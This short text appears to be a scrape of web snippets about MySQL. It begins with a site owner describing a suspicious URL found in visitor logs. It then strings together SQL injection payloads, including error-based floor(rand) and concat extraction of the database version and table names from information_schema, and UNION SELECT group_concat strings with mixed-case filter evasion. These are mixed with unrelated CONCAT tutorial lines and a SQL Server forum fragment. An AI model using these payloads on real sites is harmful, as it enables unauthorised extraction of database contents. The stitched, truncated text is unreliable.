I kept all logs from visitors with mySQL. Where it from URL and which URL visit. I found this one.
gulmeli-ehvalat-and-select-1-from-select-count-concat-select...
...Count Concat Select Select Select Distinct Concat Version 0x27 0x7e Limit 0 1 From Information Schema Tables Limit 0 1 Floor Rand 0 2 X From.
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... Extract columns name without information_schema. Method for MySQL >= 4.1. First extract the column number with. ?id=(1)and(SELECT * from db.users)=(1) -- Operand should contain 4 column(s).
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is
mysql> SELECT CONCAT_WS(',','First name','Second name','Last Name')
SELECT CONCAT("SQL ", "Tutorial ", "is ", "fun!") AS ConcatenatedString; Try it Yourself ». Definition and Usage. The CONCAT() function adds two or more expressions together.
SELECT COUNT(*) AS num_rows FROM (SELECT * FROM sysobjects WHERE TYPE = 'u' AND name = 'system_configuration'). I send this query via PHP and the sqlsrv extension to a SQL Sever 2005.
...(select+count(*),concat((select(select+concat(cast(table_nam?e+as+char),0x7e))+from+information_schema.tables+where+table_schema=database